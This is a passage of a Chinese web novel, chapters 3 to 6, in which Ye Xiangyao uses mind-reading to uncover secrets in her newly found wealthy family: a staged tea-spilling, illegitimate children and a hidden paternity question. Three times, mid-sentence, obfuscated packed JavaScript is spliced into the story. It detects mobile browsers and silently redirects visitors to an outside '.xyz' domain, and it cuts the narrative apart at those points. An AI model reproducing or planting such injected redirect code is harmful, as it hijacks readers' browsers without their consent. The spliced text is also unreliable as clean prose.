说是坐坐，其实就是找一个安静的地方说话，毕竟在这人来人往的亲子鉴定机构，什么话都不方便说。 叶父一口应下来，笑呵呵的邀请叶向夭同她一起去，倒是叶母脸色阴沉，她隐晦的看了一眼叶向夭，表示自己身体不舒服，就不和他们一块了。 「真是麻烦」 叶母的心声在叶向夭耳边响起「既然已经丢了，那干脆一辈子都別回来，现在这个时候还回来，怕不是想换回来吧？」 叶向夭知道叶母对自己很排斥，但她没想到叶母竟对她这么排斥，哪怕心里已经承认了她才是叶家的真千金，却仍旧希望她永远回不来。 “我们一起去吧，”叶麟先表情有几分不安，看到叶向夭在看她以后，她连忙解释道“我对那儿比较熟悉，可以带你们一起去。” 「既然叶姑娘可能真的是叶家的小姐，那我是不是……会被赶走？」 “……行啊。”叶向夭原本打算拒绝，但在听到叶麟先的心声以后改变了主意，毕竟她也想知道，她和叶麟先两人，叶家到底打算如何处理。 茶楼离亲子鉴定机构不远，叶父便让司机先送叶母回去，他与两个女儿步行去茶楼，叶向夭虽然没有去过高端消费场所，但她为人沉稳有度，反倒比一直想东想西的叶麟先看起来更有气势些。 “抱歉，我出去一下。”到了包厢以后，叶麟先的手机忽然响起来，她对两人歉意一笑，随后走出包厢接起了电话。 叶父倒是不在意这个小插曲，他非常自然的和叶向夭谈了起来，叶向夭一边听着叶父的心声，一边和叶父说话，或许是因为长相原因，叶父非常确定她就是他的亲生女儿，父女二人虽不至于到父慈子孝的程度，但谈的也算尽兴。 过了一会儿，叶麟先从包厢外回来，她话不多，只是被点到的时候会点头微笑，从进入包厢以后，她就紧紧的攥着手机，不知在想什么。 “你好，”一个身着茶服的年轻姑娘走进来，她带着得体的微笑说道“我是今天的茶艺师，现在为您进行茶艺表演。” 「那个穿黄衣服的就是富豪找的年轻小三？啧啧，得罪了富豪老婆，人家找人来治你了，经理这次还挺大方的，泼一次茶水就给一千的奖金，造成任何损失都是茶楼出钱，对不起了小妹妹，谁能拒绝一个赚钱的机会呢？」 19. 第3章 黄衣服？ 叶向夭看了看自己身上穿着的黄色短袖衬衫，又看了一眼笑容满面的茶艺师，并未做声。 在这间茶室里，穿黄色衣服的只有她一人而已，刚刚茶艺师心里想的年轻小三是谁不言而喻。 这就有意思了，她和叶父、叶麟先三人一起，从决定喝茶到茶艺师走进来最多不过半个小时，到底是谁在这半小时内买通了茶楼经理，要茶楼的人把茶水倒在她身上？ 仔细想想，左不过就是那几种可能罢了。 要么是误会，茶艺师走错了房间，但这里毕竟是高端消费场所，所有服务人员都是经过严格训练的，走错房间的可能极小。 她在这个城市除了叶家人谁都不认识，这次买通经理对她下手的，很可能就是叶家人，其中知道她去了茶楼的叶父、叶母、叶麟先是嫌疑最大的。 叶母在离开亲子鉴定机构之后就直接走了，叶父一直没有离开过她的视线，连手机也没拿过，那么只剩…… 叶向夭看向表情惴惴不安的叶麟先，三人中，只有叶麟先明确离开过她的视线，而且刚才叶麟先打电话的时间未免太长了些，这么长的时间，要去买通一个经理绰绰有余，更何况叶麟先还是这家茶楼的常客。 不过叶向夭倒没有妄下结论，她看着茶艺师离她越来越近，身体却没有闪躲的意思，只任由茶艺师将一壶滚烫的茶水泼在她身上。 “叶小姐！”叶麟先忍不住惊呼，她连忙拿出纸巾想要替叶向夭擦拭，却险些打翻茶具，让自己也被烫到。 “我没事，”叶向夭冷静的看着叶家父女两人，她接过纸巾，只随意擦了擦道“我在乡下风吹日晒惯了，不过是一壶热水而已，倒不至于怎么样。” 冲泡绿茶的最佳水温是在80到85摄氏度，再加上她穿的衣服虽然质量不好，但材质耐磨，也够厚实，叶向夭除了感觉手臂有些刺痛以外，剩下的还真没什么。 “对不起、对不起！”茶艺师连声道歉，鞠躬赔罪，她偷瞄了叶向夭一眼，又迅速垂下眼睛，不停道歉。 「这小姑娘看着像是农村来的，说不定是真缺钱，可惜了，好好的姑娘，做什么不好，偏要去当小三呢。」 “你是怎么做事的？！”叶父语气严厉的质问“你们茶楼就是这么对待客人的？把你们经理叫来！” “对不起，是我的错，我这就去请经理。”茶艺师仍在鞠躬道歉，她刚想转身离开，却被叶向夭叫住。 “等等，”叶向夭站起来，对叶父笑了笑说道“左右也不是什么大事，就别为难这位小姐了。请问，你们这里有休息室之类的地方吗？我想先借一身你们员工穿的衣服，应该可以吧？” “当然，”茶艺师愣了一下，她没想到叶向夭这么好说话，那可是一整壶茶水倒身上了，都没有和她计较。“请跟我来。” “谢谢。”叶向夭微微点头，跟着茶艺师去了休息室。 在叶向夭换衣服的时候，茶艺师忍不住问道“这位小姐，刚刚那位先生是您什么人啊？” 叶向夭换衣服的手微微顿了顿，她特地制造机会和茶艺师独处，就是为了这一刻。 “他是我爸爸，”叶向夭语气轻快，很随意的说道“我今天和爸爸一起过来喝茶，没想到却发生了这种事。” “啊？”茶艺师没想到叶向夭说出了这么答案，她连忙追问道“你们是亲父女吗？” “是啊，”叶向夭语气十分自然，“你没发现我们长的很像吗？” 茶艺师回忆起来，真别说，这个姑娘确实和男人长的很像，能看出有血缘关系，只是那男人西装革履，看起来很有钱，这姑娘却晒的黝黑，手上有老茧，衣服也是便宜货，难不成……是私生女？ 或许是男人在外面有了私生女，偷偷去见私生女的时候被他的夫人发现了，并且把女孩误会成了小情人，才去找人对付女孩的。 “啊……那令慈没有跟着一并过来？”茶艺师的八卦之魂彻底被点燃，豪门别的不多，就是瓜多，她也想吃瓜。 “妈妈不太喜欢我，”叶向夭笑了笑，语气中似有无奈“所以这次只有我和爸爸一起过来。” 「果然是私生女！」 「不过这私生女好像已经登堂入室了啊？今天跟经理打电话的那个估计就是大老婆了，这个黄衬衫小姑娘一进门，经理就盯着她呢。」 “我换好了。”叶向夭不动声色的听着外面茶艺师喋喋不休的心声，她穿着和茶艺师一样的衣服，对茶艺师笑了笑，丝毫没有表现出异常。 不对劲，非常不对劲。 按理来说，现在叶家最看不惯她的人应该是叶麟先，这也正常，毕竟她的到来打破了叶麟先富贵安宁的生活，无论谁对谁错，叶麟先都不可能喜欢她。 叶家人不喜欢她，也不过是为了维护叶麟先而已。 她本以为在茶水上动手脚的人是叶麟先，毕竟叶麟先有动机也有动手的机会。 可就在刚刚，她身上被泼了茶水的时候，叶麟先的心声太正常了，除了「爸爸会不会因为出了意外而讨厌我？」就是「被茶水烫伤了没事吧？」 一个人的表情可以伪装，态度可以作假，可心声难道还能作假吗？ 还有，茶艺师的心声表明了她在进入茶楼的时候，经理就已经接到通知，叶麟先唯一离开她视线的机会却是在进入茶楼以后。 这里的茶水事件，真的是叶麟先做的吗？ “叶小姐，”看到叶向夭回来，叶麟先忙不迭的问道“你身体有哪里不舒服吗？不如我们去一趟医院吧？” “没事，不过是一点儿水而已。”叶向夭笑了笑，不经意般的问道“我记得刚刚叶小姐接了一个电话，是有什么急事吗？” “没、没有。”叶麟先下意识摇头，眼神有些闪躲“是我一个朋友打来的，不接不太礼貌，那个朋友话多了些，我也不好提前挂断。” 「妈妈看起来并不喜欢叶小姐，但叶小姐怎么说也是妈妈的亲生女儿，还是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837715|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要告诉她了吧？」 “这样啊。”已经得到答案的叶向夭并没有再追问下去，转而和叶父说起了话，三人聊了许久，直到天色渐晚才停下。 “夭夭，”叶父对叶向夭的称呼已经改成了昵称，他看了一眼外面已经有些灰暗的天空，热情的邀请道“跟叶叔叔一起吃顿便饭吧，就算我们没有血缘关系，也算是难得的缘分，一起吃个饭不过分吧？” “好，既然叶叔叔邀请，我这个做晚辈的自然要应。”叶向夭一口答应下来，今天的事，八成就是叶母干的，她倒是很好奇，为什么叶母对自己有如此大的敌意。 * 叶家，叶母冷着一张脸吃饭，介于叶向夭是叶父带回来的客人，叶母不好说什么，只得闭口不谈，倒是叶家年纪最小的一对双胞胎叽叽喳喳说个不停，对叶向夭的恶意也很明显。 “归鸿不在？”叶父环视一周，也没看到叶家长子叶归鸿，他对叶母说道“家里来客人了，归鸿这样躲着不出来像什么样子？” 「难道他真的这么维护麟先？他们平时的感情不是很一般吗？」 “今天公司临时有事，”叶母吃饭的动作停了一天，但很快便答道“归鸿年纪也大了，我让他过去处理。” 叶父点点头，不再提叶归鸿，只一味招呼着叶向夭吃饭，叶向夭有心探查白天的事，便故意提道“说起来，叶阿姨您没来茶楼，可是个正确的决定，今天的茶艺师毛手毛脚，竟然把茶打翻了，如果不是后来她道歉那么诚恳，我还以为她是故意的呢。” “是吗？”叶母仍旧是冷冰冰的模样，她不咸不淡的说了一句“我不喜欢喝茶，现在看来倒成了一桩好事。” 「奇怪，她怎么会故意问我这个？她难道不该去问麟先吗？」 “嘿，说这件事做什么。”叶父连忙说道“大家都累了一天，先吃饭、吃饭。” 「做事还是那么不伦不类，茶楼的事还要我去给她善后，真是……年纪越大越不长脑子。」 叶向夭低头吃饭，倒不是她被糊弄过去了，而是叶家的情况要比她想象中复杂的多。 叶母对她是厌恶的，她本以为这厌恶来自于叶母对叶麟先的疼爱，但现在想来却未必。 叶麟先在出去打电话的时候，与她通话的人是叶母，茶楼一事在背后搞鬼的也是叶母。 叶母在那个时候打电话，真的是无意的吗？难道她不知道，如果叶麟先离开过，那第一个被怀疑的就是叶麟先？她甚至默认了怀疑叶麟先是正常的。 还有叶父，那个对她十分友好的叔叔。 为什么叶父对于换孩子这种荒谬的事一点儿都不惊讶？再说那个玉坠，现在想来确实没什么辨识度，为什么叶父能在第一时间认出来？ 还有茶楼的事，叶父已经亲自处理过了，叶向夭并不意外叶父的做法，毕竟为了家庭和谐，没必要把事情闹大，可叶父的处理，到底是将这件事的所有痕迹都处理干净，还是……让这件事遂了叶母的心愿？ 20. 第4章 都说豪门水深，这叶家的水，未免也太深了些。 叶向夭心里有些犹豫要不要认亲，毕竟这一家人看上去真的没什么亲情可言，母亲算计女儿，丈夫嫌恶妻子，虽说比她原来那个一言不合就打骂的家强些，但似乎也强不到哪儿去。 但事已至此，亲子鉴定都已经做了，哪怕她想退恐怕也退不得，更何况，她也有必须认亲的苦衷。 虽然叶向夭考上了京大，但因为她能接触到的教育资源实在太差，她是擦边考进去的，奖学金一类的与她无缘，她的父母又不同意她申请助学贷款，所以学费对她来说是一个大难题。 虽说她可以兼职做家教，但高薪的兼职家教也不是总能找到的，她现在教的小孩明年就毕业了，之后要怎么办，她也没想出好办法。 旁的不说，至少认亲以后，她的学费和生活费不成问题，毕竟叶家怎么说也是豪门，不至于连这点钱都不给她。 现在已经是退无可退的地步，不管叶家水有多深，她也只能迎难而上了。 “夭夭啊，”叶父晚饭时喝了些酒，但对叶向夭仍是热情体贴“你看今天已经这么晚了，你就在叶家住下吧，你一个女孩子家，单独在外面不安全。” “……那就多谢叶叔叔了。”叶向夭故作犹豫，后又答应下来，她既然决定要趟叶家这滩浑水，早了解早防备，总比不知不觉就被算计了好。 “乡巴佬，”叶父一离开，叶家那一对双胞胎便凑了上来，哥哥叶逸飞用一种不屑的语气骂道“你一个农村来的土包子，还妄想攀上我家，赶紧滚回你的山沟里挑粪去吧！” 叶向夭眉头一挑，看向这两个孩子，叶家水太深，她怕把握不住，这两个才十岁出头的小孩算什么？附赠的小菜？ “承让承让，”叶向夭面不改色，能考上顶尖大学的脑子，怼起人来也是十分灵敏“论挑粪，谁能比得上你们两个屎壳郎，怕不是每日把粪当饭吃，才能张嘴就是臭气熏天。” “你！”叶逸飞见说不过叶向夭，竟想要上手来打她，叶向夭皱了皱眉，倒不是她打不过两个小孩，只是她来的第一天就把两个弟弟给打了，怎么说也太嚣张了一点儿吧？ “逸飞、逸扬，快住手！”叶麟先从楼上飞奔下来，挡在叶向夭面前“你们在这儿闹什么？叶小姐可是爸爸请来的客人，你们要是再闹，我就告诉爸爸去！” “你滚开！”叶逸扬想要伸手去推叶麟先“告状精，遇到什么事你就会告状，爸爸说叶家以后都是我和哥哥的，你就等着被我赶出去吧！” 叶向夭伸手拉过叶麟先，她有些惊讶，因为在叶逸扬说话的时候她并没有听到心声，这也就代表了叶逸扬说的是实话，他怎么想就是怎么说的，所以才没有心声。 她自己也就算了，毕竟是个半路姐姐，和这两个熊孩子没什么感情，可为什么面对多年相处的叶麟先，这两个孩子也没有半点儿尊重？ “你这个姐姐当的不行啊，”叶向夭语气里带着几分调侃“你这两个弟弟都不服你，甚至还要打你，你们家是不是对这两个小的宠惯太过了？” 叶向夭常年干活，手上的力气可不小，对付两个十岁出头的小孩基本就是一手一个，只是在被她推倒以后，叶逸飞、叶逸扬两个不退反嚷，闹得整栋房子都能听到他们刺耳的叫喊。 “大半夜不睡觉，吵吵嚷嚷的做什么？”叶父从楼上下来，他还穿着白天的那套正装，只是脱掉了西装外套，显得随意了一些。“逸飞、逸扬，你们两个又怎么了？” 叶向夭看了一眼叶父的表情，又看了一眼躺在地上不肯起来的熊孩子，哪怕她不用读心，她也知道这种事肯定不是第一次发生了。 “爸爸，这个乡巴佬打我！”叶逸飞一边捂着自己的腿，一边指着叶向夭尖叫“你快把她赶出去！” 叶向夭没有说话，这件事不用脑子都能看清谁对谁错，她更想试探的，是叶父的态度。 “不是这样的，”叶父还没有说话，叶麟先便鼓足勇气抢先站出来道“是逸飞、逸扬半夜不睡觉，在被我说了以后想先向我动手，叶小姐为了帮我才推倒他们的，爸爸，叶小姐是客人，逸飞、逸扬这样也太过分了些。” 「虽然我知道爸爸向来宠爱逸飞、逸扬，可……把他们教养成这样，真的没问题吗？」 叶向夭抽空瞥了一眼叶麟先，没想到叶麟先眼神还算好使，虽说十来岁的男孩都讨喜不到哪儿去，但这对双胞胎未免也太讨人厌了些。 况且一不高兴就打人可不是个好习惯，生在这种家庭，哪怕一事无成都可以做个悠闲的富二代，但如果不安分到这种地步的话，指不定哪天打架上头就丢了命，叶家再有钱，还能用钱收买阎王不成？ “逸飞、逸扬！”叶父显然也知道叶逸飞、叶逸扬的性格，他深吸一口气，看了一眼叶向夭，又转头对两人说道“跟我到书房来！” 叶逸飞、叶逸扬两人虽顽劣，但对叶父这个父亲还是尊重的，见叶父生气，两人都不敢再说什么，只跟着叶父去了书房。 “麟先，”叶父三人走后，叶母也下楼看了一眼情况，她半点儿都没有问双胞胎的意思，只是对叶麟先说道“跟妈妈过来，妈妈有话要跟你说。” 叶麟先犹豫的看了叶向夭一眼，又朝叶向夭点头道谢才和叶母一起离开，过了几分钟以后，叶向夭悄无声息的站在叶母房间门外，倾听着里面的消息。 叶家别墅的隔音很好，叶向夭在门外自然什么都听不到，但她发现了一个读心术的bug，虽然读心术属于范围技能，离的太远听不到，但一门之隔显然不算远，她虽然没办法听到两人在说什么，却可以听到两人的心声。 「妈妈不喜欢逸飞逸扬也是正常的，毕竟他们并不是妈妈所生，当年的事……唉，爸爸怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846588|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么能做出那种事呢？」 叶向夭刚附耳倾听，就听到了叶麟先信息量过大的心声，原来叶逸飞、叶逸扬两个竟然不是叶母的孩子，听叶麟先这口气，这对双胞胎怕不是叶父的私生子吧？ 现在想来，叶母的确对叶逸飞、叶逸扬这对兄弟很冷淡，几乎没和他们说过话，叶父胆子也真是够大的，私生子也敢带回来给老婆养。 叶逸飞、叶逸扬的事在这个家里应该不是什么秘密，毕竟他们两个出生的时候叶麟先都已经七岁了，叶归鸿应该更年长些，就算他们两个一出生就被抱回来了，母亲怀没怀孕叶麟先和叶归鸿肯定有印象。 「妈妈为了我和哥哥牺牲的太多了，可我有可能不是妈妈的孩子，怎么办？我不想让妈妈伤心，如果我自己懂事离开的话，妈妈会去找我吗？」 叶麟先的心声陆陆续续的传来，叶向夭听着叶麟先的碎碎念，发现这个豪门长大的女孩出乎意料的没什么心机，想的最多的也不过是几句会不会被抛弃之类的话。 「麟先，我的女儿，这些年妈妈对你足够好了，这次你就帮妈妈一次吧，你哥哥的事，绝对不能暴露。」 叶母的心声很少，而且非常零散难以理解，叶向夭尚且不明白叶母说的到底是什么事，就听到门锁响动的声音，她连忙躲开回到自己住的客房，许久以后才长出了一口气。 叶家的事，比她想的还要复杂，叶家这四个孩子中，老二叶麟先是抱错的，老三、老四是叶父的私生子，老大叶归鸿根据她刚刚听到叶母的心声，应该也有秘密。 ……该不会这个老大不是叶父亲生的吧？这个家四个孩子，找不出一个正常的？ 叶向夭一面嫌弃自己脑补的太过，另一面又忍不住去想叶家有什么秘密，就这样迷迷糊糊的睡了过去。 时间过得飞快，转眼之间，已经到了去取亲子鉴定的日子，为了表示重视，叶父不仅自己亲自去取，还要求叶家所有人都要跟着他过去，哪怕叶母多次反对，叶父也非常坚持。 叶向夭倒是觉得无所谓，毕竟无论多少人去取亲子鉴定报告，亲子鉴定的结果都不会变，在遇到眠云之后，她很确定她就是叶父的亲生女儿。 “叶先生，”亲子鉴定机构的工作人员将文件递给叶父说道“您与叶小姐累积亲权指数大于10000，亲权关系概率大于99.99%，根据机构检测，支持您为叶小姐的生物学父亲。” “好、好。”叶父道了两声好，模样看起来十分欢喜，他拉着叶向夭高兴的说道“我就知道，夭夭你是我的亲生女儿！” “爸爸。”叶向夭顺从的叫了一声，她总觉得有些怪异，叶父是不是……过于高兴了？ “趁着这个机会，不如我们全家都做一个亲子鉴定吧？”叶父转向叶家众人道“毕竟只验夭夭和我一个人的还不太保险，既然来都来了，那都做一个也不麻烦。” 21. 第5章 叶父这话一出，全场无人应声，心声却吵得叶向夭耳朵疼。 “不行！”叶母第一个出来反驳，她一脸怒容瞪着叶父，咬牙切齿道“你别忘了……麟先可当了你这么多年女儿！” 「无论如何，绝对不能做亲子鉴定，无论是麟先还是归鸿，都做不得！」 “父亲，你怎么能这么对麟先呢？”叶归鸿也是一脸不赞同道“麟先从小就在我们家，在我心里，麟先就是我妹妹，哪怕没有血缘关系又如何？” 「父亲真的只是随便一提吗？还是说他已经知道了……」 “做个亲子鉴定也好，”在场唯一同意的，是板上钉钉的假千金叶麟先，她嗓音艰涩，却还是缓缓说道“做了以后，大家都能清清楚楚知道自己的身世。” 叶麟先没有心声，这代表着她说的是实话，叶逸飞、叶逸扬都没有说话，或许他们知道自己的身世，觉得叶父不会给他们和叶母做亲子鉴定，又或许他们什么都不知道，不知者无畏。 叶向夭忍不住看向叶父，在心里揣摩着叶父知不知道叶归鸿不是他的孩子，按理说，男人很难确定孩子是不是自己的，可叶父是个心思缜密的老狐狸，叶母给他戴了绿帽这件事，他真的一点儿都不知道吗？ “做个亲子鉴定又没什么，”叶父似是意有所指，他眼睛直直盯着叶母说道“毕竟不做亏心事，不怕鬼敲门，是亲生的，无论如何都不会变。” 实锤了，叶父知道叶归鸿不是他的孩子。 难怪，难怪那对双胞胎会说出叶家以后都是他们的，毕竟哥哥叶归鸿不是父亲亲生的，姐姐叶麟先跟父母都没有血缘关系，双胞胎虽然也是私生子，但好歹和叶父有血缘关系。 不过这么看来，叶麟先其实也挺惨的，她在这个家里的地位约等于挡箭牌，叶母和叶归鸿都很清楚大哥叶归鸿的身世有鬼，嘴上却只说是为了叶麟先的感受。 果然豪门中人都不是那么好相与的，就连叶麟先这个养了十八年的女儿，在关键的时候也只是工具而已。 “我不可能同意这么荒谬的主意，”叶母盯着叶父，语气古怪而又深沉“你别忘了，当初你将逸飞、逸扬接回来的时候，说过什么。” 「当初把叶逸飞、叶逸扬这两个小杂种接回来的时候说以后公司由归鸿继承，现在这两个小杂种长大了，你就开始卸磨杀驴了？没门！」 原来是这样，叶向夭稍微一想，便想出了其中关窍。 叶父有私生子这件事，叶母一开始应该是不知道的，毕竟在这个私生子与婚生子权利平等的时代，叶母最不能容忍的，恐怕就是私生子。 但毕竟现在是文明社会，杀人犯法，私生子已经生出来了，叶母不同意也没什么办法，所以叶家夫妻想出了一个折中的主意，那就是把这两个私生子带回叶家，放在自己眼皮子底下，确保叶归鸿继承人的位置无人撼动。 对于叶母来说，这已经是最好的解决方法了，叶父叶母是商业联姻，利益牵扯太深，若是离婚，那才是双输。 可……叶母和叶父不愧是夫妻，在孩子这方面半斤八两，叶归鸿竟然不是叶父的孩子。 叶父或许是后来才知道这件事，他自然不可能将家产给跟自己毫无血缘关系的孩子，所以他打算把叶归鸿的事扬出来，好趁机搅混水。 “妈妈，”叶麟先不太了解内情，又不像叶向夭这样有读心术，她被吓了一跳，连忙安抚道“其实做个亲子鉴定也没什么，即使我不是爸爸妈妈亲生的，也是……” “你闭嘴！”叶母直接呵斥，却发现自己失态了，又连忙找补道“麟先，今天我还要带你去一个宴会，你把你姐姐也带上，我们一块去。” 这个‘姐姐’显然指的就是叶向夭了，毕竟叶向夭和叶麟先是同一天所生，两人谁大谁小无法确定，只能随便叫一叫。 “……我知道了。”叶麟先逆来顺受惯了，面对怒火中烧的母亲，她更是不敢反驳，只好拉着叶向夭离开去做造型。 “叶麟先，”走出亲子鉴定机构以后，叶向夭率先开口“你……在哪里上学？” 自从知道叶家的情况以后，叶向夭对叶麟先的敌意越来越小，到现在基本没了，如果叶麟先不作妖去对付她的话，她也只当叶麟先是个同龄的朋友。 “啊？”正打算跟司机交代去一家私人工作室做造型的叶麟先愣了一下，随后说出了自己所在的大学，是本地的一所普通大学，不算好也不算坏。 “你的成绩一般？为什么选这个学校？”从小到大都是超级学霸的叶向夭看了一眼叶麟先，她以为像叶麟先这种家境，即使成绩不好，也能走国际学校出国留学，为什么叶麟先选了一个这么普通的学校？ “我是艺术生，学舞蹈的，”叶麟先虽说在叶向夭这个学霸面前有些不好意思，但还是如实答道“其实我的文化课成绩还不错，但是舞蹈……比较看先天条件，个子小的容易被压分。” 乖乖女叶麟先这么多年学舞蹈自然没有偷懒，但她的身高只有一米五八，这对舞蹈生来说太勉强，总不能旁人跳舞都整齐划一，唯独她矮一截吧？ “那你为什么选择学舞蹈？”叶麟先理所当然的问了出来“如果选择正常高考、出国留学、或者学些旁的东西会更好吧？” “舞蹈是我从小开始学的，”叶麟先瑟缩了一下，不知道为什么，在叶向夭面前她总是觉得心虚，可能这就是血脉压制吧。“出国……我曾经想过，但是爸爸妈妈说我一个人照顾不好自己，更何况……” “更何况什么？”见叶麟先吞吞吐吐，半天没能说出来，叶向夭索性直接问。 “……你很快就知道了。”叶麟先轻叹一声，眼神有些复杂，虽说生于豪门，可她的生活也并非旁人想象的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853817|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么舒心。 叶向夭没有参加过纸醉金迷的豪门宴会，但整整四个小时的妆造让她昏昏欲睡，她感觉自己好像被翻来覆去的打扮了好几遍，现在哪怕养母站在她面前，恐怕都认不出她了。 “……叶小姐，”叶麟先犹豫再三，还是没有依着叶母说的话叫叶向夭姐姐，倒不是说她不想叫，而是怕叶向夭不乐意。“等一会儿去宴会上，如果那些贵夫人问东问西，你不想说的就可以不回答，只跟着母亲便是了。” 叶向夭随意点点头，果然无论什么圈子，那种喜欢问东问西，打听别人私事的人都不少，也能理解，毕竟富人也是人嘛。 “麟先、夭夭，”叶母看着叶麟先和叶向夭，眼神恍惚了一瞬，又很快恢复了镇定“一会儿记得跟着妈妈，尤其是夭夭，不要随便乱走。” 「没想到我这辈子还能看到我的两个女儿站在一起的时候，我以为从出了产房以后，就再也没有这样的机会了。」 叶麟先应了一声，叶向夭听到叶母的心声后却忽然愣了一下，她感觉叶母的心声有点儿奇怪，又说不出哪里不对。 宴会厅很大，人也很多，这里的所有人，无论男女都穿着光鲜亮丽的礼服，佩戴着华贵的珠宝首饰，叶向夭既不会跳舞喝酒，也不懂珠宝首饰，她刚想自己找个不起眼的地方发呆，却被一个贵夫人绊住了脚步。 “叶太太，”贵夫人脸上带着得体的笑容，热情的和叶母打了个招呼，在寒暄了一阵过后，她终于将话题转到了叶向夭身上。“这位小姐是……” “她啊，”叶母笑了笑，“她是我丈夫……” “妈妈，”还没等叶母说完话，提前听到了叶母心声的叶向夭大声说道“爸爸和哥哥还没过来吗？” “他们不参加这个宴会，”叶母的笑容一下子僵在了脸上，转而对贵夫人解释道“这是我大女儿，她刚出生没多久就被拐卖了，最近才找回来。” “哎呀！”贵夫人脸上浮现出了惊讶的表情“这可是个天大的好事，您的两个女儿长的真像，您可真有福气，竟然一下子生了三胞胎啊。” “这是什么意思？”叶向夭感觉自己隐隐抓住了什么，她追问道“我哥哥和妹妹是双胞胎？” 叶逸飞和叶归鸿竟然一样大？她本以为叶归鸿会比叶麟先大个一两岁的。 “当然。”贵夫人有些不明所以，叶向夭既然是刚找回来的亲生女儿，又为何连自己的兄弟姐妹多大都不知道？难不成……是私生女？ “好了！”叶母连忙拉过叶向夭，对贵夫人笑道“我这女儿胆子小，没见过什么世面，我们长辈还是不要问太多的好。” 叶母一边说，一边使眼色示意叶麟先把叶向夭带走，叶麟先不明所以，但还是照做，将叶向夭带到了宴会厅角落可供人休息的沙发上，她刚想开口问，却发现沙发的另一边竟还有一个人。 22. 第6章 叶麟先没想到这偏僻的角落里竟还会有人，她朝那人点头致意，刚想离开，却听到那人说“好久不见，不对，应当也不算久。” “不好意思，”叶麟先停下脚步有些不确定的看着对方“你是在和我说话吗？” 刚刚她只是瞥了一眼，并没察觉到什么异常，可现在细看，这人的打扮着实古怪。 来这场宴会的人大多是富家子弟，也有一些服务人员或者助理之类的角色，可富家子弟多穿着礼服，服务人员有制服，助理也是一身职业装扮，眼前这人却不是上述的任何一种。 她穿着一身仿古的倒大袖短上衣，下身是一件长至小腿的半裙，衣服和裙子看起来是一套，都是轻柔如纱的材质，白色为底，边缘是深深浅浅的绿，还有少许树叶纹样的装饰。 如果说这身新中式风格的衣服在以礼服为主的宴会厅里已然是格格不入，那她的头发就更罕见了，现在竟有人留着长直脚踝的头发，还把头发染成墨绿色吗？ “……是有好几天都没见过了。”再次看到眠云的时候，叶向夭感觉有些恍惚，毕竟那一晚的事就像是梦境一般，原来妖精不仅存在，还可以到现实中来吗？ “……姐姐，你认识这位……？”叶麟先有些不确定的看着两人，在宴会厅里，她怕被旁人发现端倪，只好称呼叶向夭为姐姐。 “嗯，”叶向夭率先坐下“她是我以前认识的一个朋友。” “这样啊，”叶麟先叶跟着坐了下来，笑着对眠云点头“你好，我是叶麟先。” “你好啊，”眠云也笑着回道“叫我眠云就行了。” 叶麟先忍不住又多看了眠云几眼，虽说叶家人大多长的不错，她自己也算秀丽，但像眠云这样明珠般的大美人依然罕见，如果不是科学社会，单看眠云的打扮和相貌，她还以为是哪个山林中化形的妖精跑出来了。 “麟先，”叶向夭忽然开口“我有些口渴，我记得宴会上有柠檬汁，你可以帮我拿一杯来吗？” “好，”叶麟先明白叶向夭这是和眠云有话要说，她在这儿不太方便。“我看到了一个相熟的朋友，可能会晚一会儿才回来。” 叶麟先离开以后，还没等叶向夭开口，眠云率先问道“怎么样？你的目的达到了吗？” “没有，”叶向夭摇头“但我依旧很庆幸用一块不值多少钱的玉坠和你换了读心术，读心术虽然没有让我融入这个家，但它最起码让我看清了家里的人。” “虽然那个玉坠不值钱，但它可是你身份的象征，不应该很珍贵吗？”不知道从哪里蹿出来的花花摇着尾巴，有些不解的问道“为什么你一点儿都不在乎？” “因为玉坠本身，就是一个不值钱的东西，”叶向夭倒是没惊讶于猫会说话，毕竟上次她已经见识过了。“我找人看过，玉坠的品相不算好，最多值个一两千快钱而已。” “我说的不是钱，是意义！意义！”花花一脸恨铁不成钢，虽然叶向夭也不知道她为什么能从一只猫的脸上看出恨铁不成钢这么复杂的表情“这是你父母送给你的第一个礼物，也是你能回家的关键，难道就这么无关紧要吗？” “原来小时候动画片里说的是真的，”叶向夭失笑“妖精，通常比人类更单纯。” “一个物品本身的价值，不应该增加感情因素。”叶向夭说话时面无表情，语气也堪称冷漠“男朋友大半夜跑到你宿舍楼下，给你带来了你想吃的东西，听起来很令人感动，可这和你直接在手机上点外卖的价值没有差别。大半夜送东西很稀奇吗？外卖员也能做到，配送费不过几块钱而已，难不成因为双方是男女朋友，这仅值几块钱的行为就是无价之宝了？” 叶向夭的大学室友是个恋爱脑，就是那种，看到看到男朋友深夜赶赴几百公里，或者在女友生病时带来食物和药的小视频会感动到哭的人。 